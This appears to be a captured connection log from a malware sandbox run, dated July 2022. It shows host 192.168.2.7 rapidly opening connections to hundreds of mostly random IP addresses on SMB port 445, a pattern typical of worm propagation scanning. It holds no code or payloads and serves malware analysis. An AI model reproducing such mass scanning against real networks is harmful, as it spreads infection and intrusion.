Jul 20, 2022 19:09:56.656945944 CEST	56929	445	192.168.2.7	61.103.31.204
Jul 20, 2022 19:09:56.723108053 CEST	56938	445	192.168.2.7	118.108.206.118
Jul 20, 2022 19:09:56.723326921 CEST	56941	445	192.168.2.7	62.131.170.174
Jul 20, 2022 19:09:56.723514080 CEST	56944	445	192.168.2.7	100.196.145.41
Jul 20, 2022 19:09:56.723633051 CEST	56946	445	192.168.2.7	154.238.105.200
Jul 20, 2022 19:09:56.724087954 CEST	56957	445	192.168.2.7	213.160.243.127
Jul 20, 2022 19:09:56.724246025 CEST	56960	445	192.168.2.7	115.20.130.108
Jul 20, 2022 19:09:56.724462032 CEST	56965	445	192.168.2.7	76.33.205.92
Jul 20, 2022 19:09:57.257496119 CEST	56793	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:57.558288097 CEST	56970	445	192.168.2.7	208.56.243.45
Jul 20, 2022 19:09:57.558345079 CEST	56974	445	192.168.2.7	220.206.162.4
Jul 20, 2022 19:09:57.558346987 CEST	56972	445	192.168.2.7	61.241.235.33
Jul 20, 2022 19:09:57.568994999 CEST	56975	445	192.168.2.7	181.168.11.68
Jul 20, 2022 19:09:57.687232971 CEST	56976	445	192.168.2.7	8.90.76.39
Jul 20, 2022 19:09:57.692523003 CEST	56981	445	192.168.2.7	196.48.169.245
Jul 20, 2022 19:09:57.692732096 CEST	56982	445	192.168.2.7	100.223.163.152
Jul 20, 2022 19:09:57.693056107 CEST	56988	445	192.168.2.7	87.178.65.208
Jul 20, 2022 19:09:57.693310022 CEST	56994	445	192.168.2.7	138.105.233.132
Jul 20, 2022 19:09:57.693312883 CEST	56987	445	192.168.2.7	223.5.179.225
Jul 20, 2022 19:09:57.693360090 CEST	56995	445	192.168.2.7	29.41.89.150
Jul 20, 2022 19:09:57.693455935 CEST	56998	445	192.168.2.7	97.247.169.247
Jul 20, 2022 19:09:57.693501949 CEST	56999	445	192.168.2.7	164.166.170.184
Jul 20, 2022 19:09:57.705276966 CEST	445	56970	208.56.243.45	192.168.2.7
Jul 20, 2022 19:09:57.796747923 CEST	57002	445	192.168.2.7	143.51.45.109
Jul 20, 2022 19:09:57.797606945 CEST	57003	445	192.168.2.7	138.78.69.183
Jul 20, 2022 19:09:57.798405886 CEST	57004	445	192.168.2.7	81.153.5.18
Jul 20, 2022 19:09:57.799871922 CEST	57006	445	192.168.2.7	102.220.176.191
Jul 20, 2022 19:09:57.800659895 CEST	57007	445	192.168.2.7	175.182.14.31
Jul 20, 2022 19:09:57.801366091 CEST	57008	445	192.168.2.7	30.46.241.216
Jul 20, 2022 19:09:57.874078989 CEST	57013	445	192.168.2.7	7.216.241.134
Jul 20, 2022 19:09:57.880115032 CEST	57021	445	192.168.2.7	46.206.224.83
Jul 20, 2022 19:09:57.883944988 CEST	57028	445	192.168.2.7	170.188.184.64
Jul 20, 2022 19:09:57.884129047 CEST	57029	445	192.168.2.7	204.186.43.97
Jul 20, 2022 19:09:57.884332895 CEST	57030	445	192.168.2.7	186.194.105.89
Jul 20, 2022 19:09:57.884510994 CEST	57031	445	192.168.2.7	205.54.81.176
Jul 20, 2022 19:09:57.885034084 CEST	57042	445	192.168.2.7	147.164.124.173
Jul 20, 2022 19:09:58.115937948 CEST	57044	445	192.168.2.7	62.144.174.132
Jul 20, 2022 19:09:58.116194963 CEST	57047	445	192.168.2.7	69.14.6.176
Jul 20, 2022 19:09:58.116369963 CEST	57053	445	192.168.2.7	221.236.191.203
Jul 20, 2022 19:09:58.257674932 CEST	56970	445	192.168.2.7	208.56.243.45
Jul 20, 2022 19:09:58.400966883 CEST	445	56970	208.56.243.45	192.168.2.7
Jul 20, 2022 19:09:58.445178986 CEST	56024	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:09:58.617046118 CEST	56018	445	192.168.2.7	165.3.122.129
Jul 20, 2022 19:09:58.671361923 CEST	57060	445	192.168.2.7	131.130.62.12
Jul 20, 2022 19:09:58.671437025 CEST	57061	445	192.168.2.7	146.227.134.55
Jul 20, 2022 19:09:58.671500921 CEST	57062	445	192.168.2.7	169.192.156.112
Jul 20, 2022 19:09:58.671596050 CEST	57063	445	192.168.2.7	168.194.236.121
Jul 20, 2022 19:09:58.793385983 CEST	57064	445	192.168.2.7	200.0.45.66
Jul 20, 2022 19:09:58.889997005 CEST	57067	445	192.168.2.7	194.236.3.212
Jul 20, 2022 19:09:58.890289068 CEST	57071	445	192.168.2.7	182.173.251.206
Jul 20, 2022 19:09:58.890389919 CEST	57074	445	192.168.2.7	41.164.211.103
Jul 20, 2022 19:09:58.890456915 CEST	57075	445	192.168.2.7	92.182.57.123
Jul 20, 2022 19:09:58.890853882 CEST	57080	445	192.168.2.7	172.247.58.220
Jul 20, 2022 19:09:58.891695023 CEST	57083	445	192.168.2.7	142.36.60.122
Jul 20, 2022 19:09:58.891835928 CEST	57084	445	192.168.2.7	52.199.9.5
Jul 20, 2022 19:09:58.891925097 CEST	57087	445	192.168.2.7	13.104.50.46
Jul 20, 2022 19:09:58.900016069 CEST	57089	445	192.168.2.7	108.134.145.67
Jul 20, 2022 19:09:58.901264906 CEST	57091	445	192.168.2.7	198.58.241.149
Jul 20, 2022 19:09:58.901891947 CEST	57092	445	192.168.2.7	142.88.187.176
Jul 20, 2022 19:09:58.904542923 CEST	57094	445	192.168.2.7	197.225.168.170
Jul 20, 2022 19:09:58.906126976 CEST	57095	445	192.168.2.7	169.106.204.182
Jul 20, 2022 19:09:58.906622887 CEST	57096	445	192.168.2.7	110.177.66.4
Jul 20, 2022 19:09:58.998451948 CEST	57106	445	192.168.2.7	86.135.250.55
Jul 20, 2022 19:09:59.001754045 CEST	57108	445	192.168.2.7	194.31.56.157
Jul 20, 2022 19:09:59.027133942 CEST	57117	445	192.168.2.7	20.20.98.143
Jul 20, 2022 19:09:59.028603077 CEST	57124	445	192.168.2.7	10.249.75.177
Jul 20, 2022 19:09:59.028726101 CEST	57126	445	192.168.2.7	134.239.168.239
Jul 20, 2022 19:09:59.028794050 CEST	57127	445	192.168.2.7	143.78.185.169
Jul 20, 2022 19:09:59.029285908 CEST	57131	445	192.168.2.7	203.63.121.198
Jul 20, 2022 19:09:59.213021040 CEST	57132	445	192.168.2.7	23.150.186.112
Jul 20, 2022 19:09:59.214046001 CEST	57133	445	192.168.2.7	90.170.62.126
Jul 20, 2022 19:09:59.244232893 CEST	57137	445	192.168.2.7	61.216.88.102
Jul 20, 2022 19:09:59.371737003 CEST	445	57131	203.63.121.198	192.168.2.7
Jul 20, 2022 19:09:59.445359945 CEST	56793	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:09:59.838552952 CEST	57149	445	192.168.2.7	217.229.197.159
Jul 20, 2022 19:09:59.839129925 CEST	57150	445	192.168.2.7	222.77.179.56
Jul 20, 2022 19:09:59.839682102 CEST	57151	445	192.168.2.7	90.145.129.227
Jul 20, 2022 19:09:59.840265989 CEST	57152	445	192.168.2.7	116.68.250.65
Jul 20, 2022 19:09:59.933846951 CEST	57153	445	192.168.2.7	201.188.181.96
Jul 20, 2022 19:10:00.041965961 CEST	57156	445	192.168.2.7	185.169.32.173
Jul 20, 2022 19:10:00.042555094 CEST	57157	445	192.168.2.7	29.93.238.117
Jul 20, 2022 19:10:00.044090033 CEST	57160	445	192.168.2.7	85.145.177.178
Jul 20, 2022 19:10:00.144725084 CEST	57165	445	192.168.2.7	24.222.124.115
Jul 20, 2022 19:10:00.144952059 CEST	57166	445	192.168.2.7	93.253.17.150
Jul 20, 2022 19:10:00.145159960 CEST	57168	445	192.168.2.7	85.12.65.252
Jul 20, 2022 19:10:00.145474911 CEST	57174	445	192.168.2.7	178.227.69.74
Jul 20, 2022 19:10:00.145638943 CEST	57176	445	192.168.2.7	157.204.128.204
Jul 20, 2022 19:10:00.145999908 CEST	57182	445	192.168.2.7	216.247.206.11
Jul 20, 2022 19:10:00.146739006 CEST	57184	445	192.168.2.7	143.76.155.234
Jul 20, 2022 19:10:00.146950006 CEST	57185	445	192.168.2.7	135.90.22.89
Jul 20, 2022 19:10:00.147202969 CEST	57187	445	192.168.2.7	222.59.75.181
Jul 20, 2022 19:10:00.147330999 CEST	57188	445	192.168.2.7	169.164.218.139
Jul 20, 2022 19:10:00.147458076 CEST	57189	445	192.168.2.7	205.95.214.143
Jul 20, 2022 19:10:00.175340891 CEST	57192	445	192.168.2.7	122.194.186.9
Jul 20, 2022 19:10:00.175741911 CEST	57200	445	192.168.2.7	125.204.114.70
Jul 20, 2022 19:10:00.175853014 CEST	57201	445	192.168.2.7	126.226.212.241
Jul 20, 2022 19:10:00.175957918 CEST	57202	445	192.168.2.7	80.212.215.249
Jul 20, 2022 19:10:00.176186085 CEST	57206	445	192.168.2.7	163.110.67.219
Jul 20, 2022 19:10:00.176748037 CEST	57218	445	192.168.2.7	41.233.135.193
Jul 20, 2022 19:10:00.176784992 CEST	57220	445	192.168.2.7	34.37.123.191
Jul 20, 2022 19:10:00.350163937 CEST	57221	445	192.168.2.7	140.248.210.179
Jul 20, 2022 19:10:00.350835085 CEST	57222	445	192.168.2.7	110.27.47.211
Jul 20, 2022 19:10:00.372014999 CEST	57231	445	192.168.2.7	139.72.28.107
Jul 20, 2022 19:10:00.961848974 CEST	57237	445	192.168.2.7	131.177.122.6
Jul 20, 2022 19:10:00.962507010 CEST	57238	445	192.168.2.7	216.70.130.220
Jul 20, 2022 19:10:00.963057995 CEST	57239	445	192.168.2.7	146.106.234.74
Jul 20, 2022 19:10:00.963787079 CEST	57240	445	192.168.2.7	154.82.104.113
Jul 20, 2022 19:10:01.058815956 CEST	57242	445	192.168.2.7	144.39.6.189
Jul 20, 2022 19:10:01.168137074 CEST	57245	445	192.168.2.7	57.250.102.171
Jul 20, 2022 19:10:01.168700933 CEST	57246	445	192.168.2.7	120.129.182.109
Jul 20, 2022 19:10:01.170169115 CEST	57249	445	192.168.2.7	212.129.101.28
Jul 20, 2022 19:10:01.275425911 CEST	57254	445	192.168.2.7	16.208.170.218
Jul 20, 2022 19:10:01.276382923 CEST	57255	445	192.168.2.7	118.65.247.70
Jul 20, 2022 19:10:01.276968002 CEST	57256	445	192.168.2.7	57.217.48.221
Jul 20, 2022 19:10:01.277908087 CEST	57257	445	192.168.2.7	57.137.112.228
Jul 20, 2022 19:10:01.278716087 CEST	57258	445	192.168.2.7	23.182.5.91
Jul 20, 2022 19:10:01.280790091 CEST	57260	445	192.168.2.7	10.236.52.176
Jul 20, 2022 19:10:01.284076929 CEST	57265	445	192.168.2.7	95.147.128.133
Jul 20, 2022 19:10:01.285254955 CEST	57267	445	192.168.2.7	212.199.206.95
Jul 20, 2022 19:10:01.288523912 CEST	57273	445	192.168.2.7	212.172.152.20
Jul 20, 2022 19:10:01.333221912 CEST	57275	445	192.168.2.7	125.19.0.141
Jul 20, 2022 19:10:01.343713999 CEST	57277	445	192.168.2.7	203.4.76.207
Jul 20, 2022 19:10:01.343919039 CEST	57281	445	192.168.2.7	118.92.207.41
Jul 20, 2022 19:10:01.344358921 CEST	57293	445	192.168.2.7	19.24.184.62
Jul 20, 2022 19:10:01.344502926 CEST	57297	445	192.168.2.7	214.46.148.73
Jul 20, 2022 19:10:01.344506025 CEST	57279	445	192.168.2.7	82.188.75.23
Jul 20, 2022 19:10:01.344604015 CEST	57298	445	192.168.2.7	80.52.213.105
Jul 20, 2022 19:10:01.344686031 CEST	57299	445	192.168.2.7	125.56.166.19
Jul 20, 2022 19:10:01.344991922 CEST	57307	445	192.168.2.7	204.130.214.119
Jul 20, 2022 19:10:01.461831093 CEST	57311	445	192.168.2.7	92.63.92.41
Jul 20, 2022 19:10:01.462162971 CEST	57312	445	192.168.2.7	180.8.66.233
Jul 20, 2022 19:10:01.494383097 CEST	57317	445	192.168.2.7	54.81.157.125
Jul 20, 2022 19:10:02.096646070 CEST	57328	445	192.168.2.7	43.13.90.229
Jul 20, 2022 19:10:02.096920013 CEST	57329	445	192.168.2.7	185.151.33.75
Jul 20, 2022 19:10:02.097196102 CEST	57327	445	192.168.2.7	199.112.212.55
Jul 20, 2022 19:10:02.102447987 CEST	57331	445	192.168.2.7	167.181.94.218
Jul 20, 2022 19:10:02.172199965 CEST	57332	445	192.168.2.7	206.37.129.236
Jul 20, 2022 19:10:02.340744972 CEST	57336	445	192.168.2.7	116.18.28.208
Jul 20, 2022 19:10:02.340845108 CEST	57335	445	192.168.2.7	47.218.116.184
Jul 20, 2022 19:10:02.342782021 CEST	57339	445	192.168.2.7	156.55.216.36
Jul 20, 2022 19:10:02.415056944 CEST	57349	445	192.168.2.7	162.6.246.239
Jul 20, 2022 19:10:02.431288958 CEST	57351	445	192.168.2.7	221.114.27.112
Jul 20, 2022 19:10:02.432174921 CEST	57352	445	192.168.2.7	95.125.18.247
Jul 20, 2022 19:10:02.434779882 CEST	57357	445	192.168.2.7	130.231.39.70
Jul 20, 2022 19:10:02.447758913 CEST	57358	445	192.168.2.7	129.115.204.246
Jul 20, 2022 19:10:02.448971987 CEST	57360	445	192.168.2.7	33.209.40.17
Jul 20, 2022 19:10:02.449579954 CEST	57361	445	192.168.2.7	7.170.53.184
Jul 20, 2022 19:10:02.450148106 CEST	57362	445	192.168.2.7	116.142.206.201
Jul 20, 2022 19:10:02.450702906 CEST	57363	445	192.168.2.7	123.30.24.98
Jul 20, 2022 19:10:02.451311111 CEST	57364	445	192.168.2.7	25.175.69.15
Jul 20, 2022 19:10:02.483225107 CEST	57373	445	192.168.2.7	98.188.1.17
Jul 20, 2022 19:10:02.544900894 CEST	57378	445	192.168.2.7	160.55.108.235
Jul 20, 2022 19:10:02.545027018 CEST	57382	445	192.168.2.7	44.145.249.204
Jul 20, 2022 19:10:02.545089006 CEST	57381	445	192.168.2.7	30.108.154.189
Jul 20, 2022 19:10:02.545614958 CEST	57398	445	192.168.2.7	83.38.171.72
Jul 20, 2022 19:10:02.545635939 CEST	57397	445	192.168.2.7	15.208.150.47
Jul 20, 2022 19:10:02.545763016 CEST	57399	445	192.168.2.7	64.25.63.68
Jul 20, 2022 19:10:02.545859098 CEST	57400	445	192.168.2.7	69.38.170.7
Jul 20, 2022 19:10:02.588536978 CEST	57404	445	192.168.2.7	140.48.186.30
Jul 20, 2022 19:10:02.589833021 CEST	57405	445	192.168.2.7	10.9.184.87
Jul 20, 2022 19:10:02.630707979 CEST	57407	445	192.168.2.7	102.111.215.186
Jul 20, 2022 19:10:03.212387085 CEST	57417	445	192.168.2.7	181.19.26.17
Jul 20, 2022 19:10:03.212969065 CEST	57418	445	192.168.2.7	27.192.76.95
Jul 20, 2022 19:10:03.213651896 CEST	57419	445	192.168.2.7	156.254.118.235
Jul 20, 2022 19:10:03.227899075 CEST	57421	445	192.168.2.7	30.76.200.35
Jul 20, 2022 19:10:03.290143967 CEST	57422	445	192.168.2.7	161.194.188.148
Jul 20, 2022 19:10:03.466161013 CEST	57429	445	192.168.2.7	24.77.93.251
Jul 20, 2022 19:10:03.467772007 CEST	57432	445	192.168.2.7	168.169.221.133
Jul 20, 2022 19:10:03.469573975 CEST	57433	445	192.168.2.7	110.218.71.181
Jul 20, 2022 19:10:03.540657043 CEST	57440	445	192.168.2.7	189.204.133.182
Jul 20, 2022 19:10:03.559117079 CEST	57441	445	192.168.2.7	6.133.181.0
Jul 20, 2022 19:10:03.561754942 CEST	57446	445	192.168.2.7	84.216.246.122
Jul 20, 2022 19:10:03.563199997 CEST	57448	445	192.168.2.7	189.94.89.210
Jul 20, 2022 19:10:03.572735071 CEST	57450	445	192.168.2.7	6.175.64.121
Jul 20, 2022 19:10:03.573374033 CEST	57451	445	192.168.2.7	77.237.145.136
Jul 20, 2022 19:10:03.573945045 CEST	57452	445	192.168.2.7	208.72.168.7
Jul 20, 2022 19:10:03.574583054 CEST	57453	445	192.168.2.7	75.139.207.48
Jul 20, 2022 19:10:03.575103045 CEST	57454	445	192.168.2.7	184.7.188.63
Jul 20, 2022 19:10:03.575676918 CEST	57455	445	192.168.2.7	217.93.49.73
Jul 20, 2022 19:10:03.614228010 CEST	57466	445	192.168.2.7	10.43.78.42
Jul 20, 2022 19:10:03.660516977 CEST	56793	445	192.168.2.7	192.56.37.2
Jul 20, 2022 19:10:03.665471077 CEST	57467	445	192.168.2.7	63.154.87.188
Jul 20, 2022 19:10:03.666414976 CEST	57468	445	192.168.2.7	212.54.219.49
Jul 20, 2022 19:10:03.669740915 CEST	57473	445	192.168.2.7	61.143.67.105
Jul 20, 2022 19:10:03.670543909 CEST	57474	445	192.168.2.7	53.28.114.93
Jul 20, 2022 19:10:03.671359062 CEST	57475	445	192.168.2.7	101.18.41.210
Jul 20, 2022 19:10:03.716216087 CEST	57490	445	192.168.2.7	22.88.124.159
Jul 20, 2022 19:10:03.716289043 CEST	57491	445	192.168.2.7	186.180.35.182
Jul 20, 2022 19:10:03.718729019 CEST	57496	445	192.168.2.7	87.46.209.127
Jul 20, 2022 19:10:03.718738079 CEST	57495	445	192.168.2.7	98.4.184.166
Jul 20, 2022 19:10:03.736375093 CEST	445	57452	208.72.168.7	192.168.2.7
Jul 20, 2022 19:10:03.745189905 CEST	57498	445	192.168.2.7	92.164.178.122
Jul 20, 2022 19:10:03.780174971 CEST	445	57448	189.94.89.210	192.168.2.7
Jul 20, 2022 19:10:04.338803053 CEST	57509	445	192.168.2.7	92.73.117.201
Jul 20, 2022 19:10:04.338865995 CEST	57510	445	192.168.2.7	208.87.115.188
Jul 20, 2022 19:10:04.338920116 CEST	57511	445	192.168.2.7	101.211.120.236
Jul 20, 2022 19:10:04.357636929 CEST	57512	445	192.168.2.7	156.95.190.193
Jul 20, 2022 19:10:04.429548025 CEST	57513	445	192.168.2.7	193.162.117.244
Jul 20, 2022 19:10:04.429944038 CEST	57452	445	192.168.2.7	208.72.168.7
Jul 20, 2022 19:10:04.429972887 CEST	57448	445	192.168.2.7	189.94.89.210
Jul 20, 2022 19:10:04.590956926 CEST	445	57452	208.72.168.7	192.168.2.7
Jul 20, 2022 19:10:04.594221115 CEST	57517	445	192.168.2.7	7.81.182.171
Jul 20, 2022 19:10:04.594758987 CEST	57518	445	192.168.2.7	129.90.73.154
Jul 20, 2022 19:10:04.596405029 CEST	57521	445	192.168.2.7	211.5.45.75
Jul 20, 2022 19:10:04.646059036 CEST	445	57448	189.94.89.210	192.168.2.7
Jul 20, 2022 19:10:04.682706118 CEST	57531	445	192.168.2.7	180.128.169.137
Jul 20, 2022 19:10:04.685249090 CEST	57536	445	192.168.2.7	53.43.235.26
Jul 20, 2022 19:10:04.686397076 CEST	57538	445	192.168.2.7	91.232.140.171
Jul 20, 2022 19:10:04.686947107 CEST	57539	445	192.168.2.7	109.152.190.190
Jul 20, 2022 19:10:04.697231054 CEST	57541	445	192.168.2.7	86.59.2.113
Jul 20, 2022 19:10:04.697817087 CEST	57542	445	192.168.2.7	82.117.90.118
Jul 20, 2022 19:10:04.698352098 CEST	57543	445	192.168.2.7	142.215.200.73
Jul 20, 2022 19:10:04.698896885 CEST	57544	445	192.168.2.7	53.141.24.156
Jul 20, 2022 19:10:04.699780941 CEST	57545	445	192.168.2.7	54.126.175.230
Jul 20, 2022 19:10:04.700372934 CEST	57546	445	192.168.2.7	114.77.64.66
Jul 20, 2022 19:10:04.749319077 CEST	57556	445	192.168.2.7	189.89.35.144
Jul 20, 2022 19:10:04.790885925 CEST	57558	445	192.168.2.7	110.73.60.102
Jul 20, 2022 19:10:04.791755915 CEST	57559	445	192.168.2.7	50.108.202.29
Jul 20, 2022 19:10:04.795838118 CEST	57564	445	192.168.2.7	27.122.86.158
Jul 20, 2022 19:10:04.796616077 CEST	57565	445	192.168.2.7	53.57.44.43
Jul 20, 2022 19:10:04.797369957 CEST	57566	445	192.168.2.7	215.241.55.151
Jul 20, 2022 19:10:04.838323116 CEST	57568	445	192.168.2.7	181.240.37.119
Jul 20, 2022 19:10:04.839144945 CEST	57569	445	192.168.2.7	184.222.246.105
Jul 20, 2022 19:10:04.842061043 CEST	57573	445	192.168.2.7	51.216.40.59
Jul 20, 2022 19:10:04.845158100 CEST	57574	445	192.168.2.7	183.22.148.197
Jul 20, 2022 19:10:04.888134003 CEST	57590	445	192.168.2.7	84.105.22.129
Jul 20, 2022 19:10:05.462739944 CEST	57601	445	192.168.2.7	67.91.211.105
Jul 20, 2022 19:10:05.463305950 CEST	57602	445	192.168.2.7	35.247.80.247
Jul 20, 2022 19:10:05.463834047 CEST	57603	445	192.168.2.7	109.113.215.216
Jul 20, 2022 19:10:05.550721884 CEST	57604	445	192.168.2.7	222.250.250.234
Jul 20, 2022 19:10:05.550862074 CEST	57605	445	192.168.2.7	194.118.190.60
Jul 20, 2022 19:10:05.764297962 CEST	57609	445	192.168.2.7	77.146.211.19
Jul 20, 2022 19:10:05.764702082 CEST	57610	445	192.168.2.7	54.45.211.17
Jul 20, 2022 19:10:05.764875889 CEST	57613	445	192.168.2.7	159.20.98.196
Jul 20, 2022 19:10:05.806796074 CEST	57623	445	192.168.2.7	217.46.30.19
Jul 20, 2022 19:10:05.809267998 CEST	57628	445	192.168.2.7	7.102.117.3
Jul 20, 2022 19:10:05.810535908 CEST	57630	445	192.168.2.7	54.204.88.154
Jul 20, 2022 19:10:05.811115980 CEST	57631	445	192.168.2.7	10.106.83.149
Jul 20, 2022 19:10:05.822961092 CEST	57633	445	192.168.2.7	134.85.22.65
Jul 20, 2022 19:10:05.823621035 CEST	57634	445	192.168.2.7	15.5.56.235
Jul 20, 2022 19:10:05.824246883 CEST	57635	445	192.168.2.7	78.233.249.16
Jul 20, 2022 19:10:05.824888945 CEST	57636	445	192.168.2.7	95.202.161.240
Jul 20, 2022 19:10:05.825499058 CEST	57637	445	192.168.2.7	209.88.39.54
Jul 20, 2022 19:10:05.826105118 CEST	57638	445	192.168.2.7	78.33.113.141
Jul 20, 2022 19:10:05.876550913 CEST	57641	445	192.168.2.7	49.56.163.227
Jul 20, 2022 19:10:05.920146942 CEST	57650	445	192.168.2.7	4.93.161.227
Jul 20, 2022 19:10:05.920747995 CEST	57651	445	192.168.2.7	131.13.32.150
Jul 20, 2022 19:10:05.923465014 CEST	57656	445	192.168.2.7	29.141.220.123
Jul 20, 2022 19:10:05.924321890 CEST	57657	445	192.168.2.7	59.103.189.193
Jul 20, 2022 19:10:05.924896002 CEST	57658	445	192.168.2.7	154.113.230.10
Jul 20, 2022 19:10:05.964592934 CEST	57660	445	192.168.2.7	45.24.212.198
Jul 20, 2022 19:10:05.964932919 CEST	57662	445	192.168.2.7	199.52.247.250
Jul 20, 2022 19:10:05.965059996 CEST	57664	445	192.168.2.7	113.46.121.221
Jul 20, 2022 19:10:05.967571974 CEST	57666	445	192.168.2.7	34.61.6.111
Jul 20, 2022 19:10:06.030540943 CEST	57682	445	192.168.2.7	8.230.99.48
Jul 20, 2022 19:10:06.587425947 CEST	57692	445	192.168.2.7	92.249.70.232
Jul 20, 2022 19:10:06.588059902 CEST	57693	445	192.168.2.7	99.6.131.45
Jul 20, 2022 19:10:06.588681936 CEST	57694	445	192.168.2.7	68.65.58.3
Jul 20, 2022 19:10:06.665563107 CEST	57696	445	192.168.2.7	160.235.186.36
Jul 20, 2022 19:10:06.691433907 CEST	57697	445	192.168.2.7	195.114.131.104
Jul 20, 2022 19:10:06.887137890 CEST	57705	445	192.168.2.7	7.109.114.13
Jul 20, 2022 19:10:06.887192965 CEST	57709	445	192.168.2.7	16.155.223.191
Jul 20, 2022 19:10:06.887198925 CEST	57708	445	192.168.2.7	136.178.155.150
Jul 20, 2022 19:10:06.934734106 CEST	57715	445	192.168.2.7	26.247.145.4
Jul 20, 2022 19:10:06.938199043 CEST	57720	445	192.168.2.7	194.201.16.46
Jul 20, 2022 19:10:06.939286947 CEST	57722	445	192.168.2.7	154.4.112.163
Jul 20, 2022 19:10:06.939842939 CEST	57723	445	192.168.2.7	84.33.152.223
Jul 20, 2022 19:10:06.950309992 CEST	57725	445	192.168.2.7	169.222.197.185
Jul 20, 2022 19:10:06.951035976 CEST	57726	445	192.168.2.7	28.80.74.68
Jul 20, 2022 19:10:06.951616049 CEST	57727	445	192.168.2.7	182.86.189.214
Jul 20, 2022 19:10:06.952249050 CEST	57728	445	192.168.2.7	8.86.39.86
Jul 20, 2022 19:10:06.955317974 CEST	57729	445	192.168.2.7	190.206.219.215
Jul 20, 2022 19:10:06.955864906 CEST	57730	445	192.168.2.7	223.170.199.39
Jul 20, 2022 19:10:06.995455980 CEST	57733	445	192.168.2.7	163.77.60.218
Jul 20, 2022 19:10:07.042462111 CEST	57742	445	192.168.2.7	8.73.111.79
Jul 20, 2022 19:10:07.043056965 CEST	57743	445	192.168.2.7	73.120.230.120
Jul 20, 2022 19:10:07.045533895 CEST	57748	445	192.168.2.7	37.101.45.156
Jul 20, 2022 19:10:07.046055079 CEST	57749	445	192.168.2.7	160.6.220.200
Jul 20, 2022 19:10:07.046755075 CEST	57750	445	192.168.2.7	20.212.55.30
Jul 20, 2022 19:10:07.105942011 CEST	57754	445	192.168.2.7	221.149.219.95
Jul 20, 2022 19:10:07.106024027 CEST	57755	445	192.168.2.7	109.41.49.159
Jul 20, 2022 19:10:07.106056929 CEST	57753	445	192.168.2.7	3.193.53.145
Jul 20, 2022 19:10:07.106093884 CEST	57756	445	192.168.2.7	109.186.57.188
Jul 20, 2022 19:10:07.192317009 CEST	57774	445	192.168.2.7	32.21.48.42
Jul 20, 2022 19:10:07.274753094 CEST	57779	445	192.168.2.7	165.3.122.1
Jul 20, 2022 19:10:07.728257895 CEST	57786	445	192.168.2.7	221.9.77.84
Jul 20, 2022 19:10:07.728991985 CEST	57787	445	192.168.2.7	170.153.134.174
Jul 20, 2022 19:10:07.729064941 CEST	57789	445	192.168.2.7	174.80.57.251
Jul 20, 2022 19:10:07.790419102 CEST	57790	445	192.168.2.7	46.210.134.238
Jul 20, 2022 19:10:07.807045937 CEST	57791	445	192.168.2.7	105.51.244.85
Jul 20, 2022 19:10:08.014267921 CEST	57801	445	192.168.2.7	121.176.3.131
Jul 20, 2022 19:10:08.014867067 CEST	57802	445	192.168.2.7	91.150.248.157
Jul 20, 2022 19:10:08.015418053 CEST	57803	445	192.168.2.7	15.112.132.197
Jul 20, 2022 19:10:08.073810101 CEST	57809	445	192.168.2.7	45.134.18.95
Jul 20, 2022 19:10:08.075057030 CEST	57816	445	192.168.2.7	15.94.118.86
Jul 20, 2022 19:10:08.075090885 CEST	57814	445	192.168.2.7	29.3.130.200
Jul 20, 2022 19:10:08.075195074 CEST	57817	445	192.168.2.7	21.162.194.16
Jul 20, 2022 19:10:08.076915026 CEST	57820	445	192.168.2.7	124.179.203.81
Jul 20, 2022 19:10:08.077084064 CEST	57821	445	192.168.2.7	169.42.217.31
Jul 20, 2022 19:10:08.077116013 CEST	57819	445	192.168.2.7	175.189.188.219
Jul 20, 2022 19:10:08.077229977 CEST	57822	445	192.168.2.7	90.111.121.53
Jul 20, 2022 19:10:08.077236891 CEST	57824	445	192.168.2.7	55.70.160.46
Jul 20, 2022 19:10:08.077280998 CEST	57823	445	192.168.2.7	191.239.6.62
Jul 20, 2022 19:10:08.119920015 CEST	57827	445	192.168.2.7	14.201.80.77
Jul 20, 2022 19:10:08.169615984 CEST	57836	445	192.168.2.7	147.129.101.231
Jul 20, 2022 19:10:08.169989109 CEST	57841	445	192.168.2.7	112.44.219.195
Jul 20, 2022 19:10:08.170031071 CEST	57842	445	192.168.2.7	101.45.204.106
Jul 20, 2022 19:10:08.170130014 CEST	57843	445	192.168.2.7	111.194.82.33
Jul 20, 2022 19:10:08.181384087 CEST	57844	445	192.168.2.7	88.194.5.27
Jul 20, 2022 19:10:08.233004093 CEST	57847	445	192.168.2.7	77.60.24.170
Jul 20, 2022 19:10:08.233146906 CEST	57848	445	192.168.2.7	20.228.130.3
Jul 20, 2022 19:10:08.233256102 CEST	57849	445	192.168.2.7	20.67.102.147
Jul 20, 2022 19:10:08.233361959 CEST	57850	445	192.168.2.7	160.238.138.6
Jul 20, 2022 19:10:08.326100111 CEST	57869	445	192.168.2.7	13.25.205.143
Jul 20, 2022 19:10:08.853554010 CEST	57879	445	192.168.2.7	17.227.145.69
Jul 20, 2022 19:10:08.855112076 CEST	57881	445	192.168.2.7	137.20.189.112
Jul 20, 2022 19:10:08.855864048 CEST	57882	445	192.168.2.7	43.129.248.208
Jul 20, 2022 19:10:08.940501928 CEST	57883	445	192.168.2.7	202.170.136.110
Jul 20, 2022 19:10:08.941504955 CEST	57884	445	192.168.2.7	137.93.70.202
Jul 20, 2022 19:10:09.111718893 CEST	445	57882	43.129.248.208	192.168.2.7
Jul 20, 2022 19:10:09.136848927 CEST	57895	445	192.168.2.7	139.10.71.246
Jul 20, 2022 19:10:09.136857033 CEST	57894	445	192.168.2.7	7.54.168.216
Jul 20, 2022 19:10:09.136976004 CEST	57896	445	192.168.2.7	179.221.128.84
Jul 20, 2022 19:10:09.197370052 CEST	57902	445	192.168.2.7	20.230.14.156
Jul 20, 2022 19:10:09.200877905 CEST	57908	445	192.168.2.7	66.139.236.86
Jul 20, 2022 19:10:09.201426983 CEST	57909	445	192.168.2.7	84.192.140.195
Jul 20, 2022 19:10:09.202018023 CEST	57910	445	192.168.2.7	163.143.3.71
Jul 20, 2022 19:10:09.202533007 CEST	57911	445	192.168.2.7	19.151.92.177
Jul 20, 2022 19:10:09.203587055 CEST	57913	445	192.168.2.7	115.171.75.201
Jul 20, 2022 19:10:09.204103947 CEST	57914	445	192.168.2.7	128.10.102.109
Jul 20, 2022 19:10:09.204658985 CEST	57915	445	192.168.2.7	171.103.173.246
Jul 20, 2022 19:10:09.205203056 CEST	57916	445	192.168.2.7	70.79.225.126
Jul 20, 2022 19:10:09.205734968 CEST	57917	445	192.168.2.7	211.230.111.63
